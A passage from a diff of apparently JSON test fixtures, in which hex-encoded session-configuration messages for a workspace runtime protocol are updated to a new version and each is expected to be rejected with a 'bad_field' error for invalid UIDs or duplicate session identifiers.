f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a342c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000007b0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a342c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-duplicate-logical-session", "direction": "down", - "hex": "574d583101010000010000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000007b0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-duplicate-backend-session", "direction": "down", - "hex": "574d583101010000010000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000007b0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-runtime-uid-equals-tool-uid", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030302c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030302c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-uid-reused-across-items", "direction": "down", - "hex": "574d583101010000010000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030312c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000007b0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030312c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-uid-below-1000", "direction": "down", - "hex": "574d58310101000001000000370600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a3939392c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": 